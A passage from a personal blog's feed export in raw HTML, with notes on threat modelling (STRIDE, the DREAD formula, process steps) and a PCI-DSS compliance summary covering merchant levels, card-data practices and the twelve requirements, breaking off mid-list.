&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Information Disclosure&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;. Therefore, applications
must include strong controls to prevent user ID tampering and abuse,
particularly if they use a single context to run the entire application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Denial of Service&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Application
designers should be aware that their applications may be subject to a denial of
service attack.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Elevation of Privilege&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;If an application
provides distinct user and administrative roles, then it is vital to ensure
that the user cannot elevate his/her role to a higher privilege one.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3 style=&quot;background-attachment: initial; background-clip: initial; background-origin: initial; border-bottom-color: initial; border-bottom-width: initial; overflow-x: hidden; overflow-y: hidden; text-align: -webkit-auto;&quot;&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;DREAD&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;background: white; line-height: 14.25pt; margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;DREAD is a classification
scheme for quantifying, comparing and prioritizing the amount of risk presented
by each evaluated threat. T&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; line-height: 14.25pt; margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk_DREAD&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;= (&lt;u&gt;D&lt;/u&gt;AMAGE
+&amp;nbsp;&lt;u&gt;R&lt;/u&gt;EPRODUCIBILITY +&amp;nbsp;&lt;u&gt;E&lt;/u&gt;XPLOITABILITY +&amp;nbsp;&lt;u&gt;A&lt;/u&gt;FFECTED
USERS +&amp;nbsp;&lt;u&gt;D&lt;/u&gt;ISCOVERABILITY) / 5&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; line-height: 14.25pt; margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The calculation always
produces a number between 0 and 10; the higher the number, the more serious the
risk.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; line-height: 14.25pt; margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #943634 1.0pt; border: none; mso-border-bottom-alt: dotted #943634 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 191; mso-border-bottom-themeshade: 191; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h4&gt;



&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;Threat
Modeling Process&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify assets.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Create an
     architecture overview.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify what
      the application does.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Create an
      architecture diagram.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify the
      technologies.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Decompose the
     application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify trust
      boundaries.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify data
      flow.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify entry
      points.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify
      privileged code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Document the
      security profile.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify the
     threats(you can use STRIDE).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify
      network threats.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identity host
      threats.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify
      application threats.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Using Attack
       Trees and Attack Patterns&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;An attack
        tree is a way of collecting and documenting the potential attacks on
        your system in a structured and hierarchical manner. The tree structure
        gives you a descriptive breakdown of various attacks that the attacker
        uses to compromise the system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Attack
       Patterns&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Attack
        patterns are generic representations of commonly occurring attacks that
        can occur in a variety of different contexts.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Document the
     threats.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Rate the
     threats.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;You can
      &amp;nbsp;use the DREAD model to rate the threats or use a quantitative
      approach.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: 0.0001pt; margin-left: 0in; margin-right: 0in; margin-top: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;For more details
on&amp;nbsp;alternative&amp;nbsp;Threat modeling systems refer:&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0.0001pt; margin-left: 0in; margin-right: 0in; margin-top: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;a href=&quot;http://softwarearchitectureandarchitects.blogspot.com/2012/04/threat-modelling.html&quot;&gt;http://softwarearchitectureandarchitects.blogspot.com/2012/04/threat-modelling.html&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;i&gt;These are my notes collected from various sources and this is not claimed as original content&lt;/i&gt;&lt;/span&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/8418272217794933921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/06/security-information-security-threats.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8418272217794933921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8418272217794933921'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/06/security-information-security-threats.html' title='Security: Information Security, threats, risks'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-5138930860884831571</id><published>2012-05-20T20:13:00.000-07:00</published><updated>2012-06-29T11:44:14.190-07:00</updated><title type='text'>Security: PCI Compliance</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
The Payment Card Industry Data Security Standard (PCI DSS) is a set of requirements designed to ensure that all companies that process, store or transmit credit card information maintain a secure environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Merchant levels as defined by Visa:&lt;br /&gt;
1: Any merchant processing over 6M Visa transactions per year&lt;br /&gt;
2: Any merchant processing 1M to 6M Visa transactions per year.&lt;br /&gt;
3: Any merchant processing 20,000 to 1M Visa e-commerce transactions per year.&lt;br /&gt;
4: Any merchant processing fewer than 20,000 Visa e-commerce transactions per year and other merchants processing up to 1M Visa transactions per year&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Best Practices&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Process transactions immediately online or hand
off the processing to your bank&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;Do not store any
CC numbers, ever. If they must be stored, you must follow the PCI guidelines to
the letter.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;If you are using
a shared host for your site, you cannot comply with the PCI guidelines. You
must have your own infrastructure to comply with the PCI guidelines.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;If you do end up storing CC numbers:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Encrypt them.&lt;/li&gt;
&lt;li&gt;follow merchant agreement.&lt;/li&gt;
&lt;li&gt;for&amp;nbsp;recurring&amp;nbsp;payments, limit term to 1 year.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Other considerations:&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;PCI only allows presentation of first six ( the BIN) or last four digits.&lt;/li&gt;
&lt;li&gt;Must nore store CCV etc.&lt;/li&gt;
&lt;li&gt;Must patch system within 1 month of a patch becoming available.&lt;/li&gt;
&lt;li&gt;reversals should be signed off by two distinct employees.&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;12 requirements of PCI-DSS&lt;/span&gt;&amp;nbsp;if you are going to handle credit cards:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 480;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
Build and maintain a secure network&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Install and maintain a firewall configuration to protect data&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Do not use vendor-supplied defaults for system passwords and
  other security parameters&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
Protect Cardholder Data&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Protect stored data&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Encrypt transmission of cardholder data and sensitive
  information across public networks&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
Maintain a Vulnerability Management Program&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Use and regularly update anti-virus software&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Develop and maintain secure systems and applications&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
Implement Strong Access Control Measures&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Restrict access to data by business need-to-know&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Assign a unique ID to each person with computer access&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Restrict physical access to cardholder data&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
Regularly Monitor and Test Networks&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Track and monitor all access to network resources and
  cardholder data&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Regularly test security systems and processes&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
Maintain an Information Security Policy&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: 0in 5.4pt 0in 5.4pt; width: 239.4pt;&quot; valign=&quot;top&quot; width=&quot;479&quot;&gt;&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Maintain a policy that addresses information security&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
PCI Sections Addressing Application Security&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;3.1 Protect stored cardholder data&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;3.2 Protect authentication data&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;3.4 Protect Personal Account Numbers (PAN) data&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;4.1 Encrypt transmission of cardholder data across public networks&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;6.3 Develop and maintain secure applications&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;6.5 Develop web applications using secure coding&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;6.6 Protect web applications against known attacks&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;8.1 Assign a unique ID to each person with computer access&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;10.1 Track and monitor all access to network resources and cardholder data&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;10.2 Implement automated audit trails&lt;/span&gt;&lt;/li&gt;
